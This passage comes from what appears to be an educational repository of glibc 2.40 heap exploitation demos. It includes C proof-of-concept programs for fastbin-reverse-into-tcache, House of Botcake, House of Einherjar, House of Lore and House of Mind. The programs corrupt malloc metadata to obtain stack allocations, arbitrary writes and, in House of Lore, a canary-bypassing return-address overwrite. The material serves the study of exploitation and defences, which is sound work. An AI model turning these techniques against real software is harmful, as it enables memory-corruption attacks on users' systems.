long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.40/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.40/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.40/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.40/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.40/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 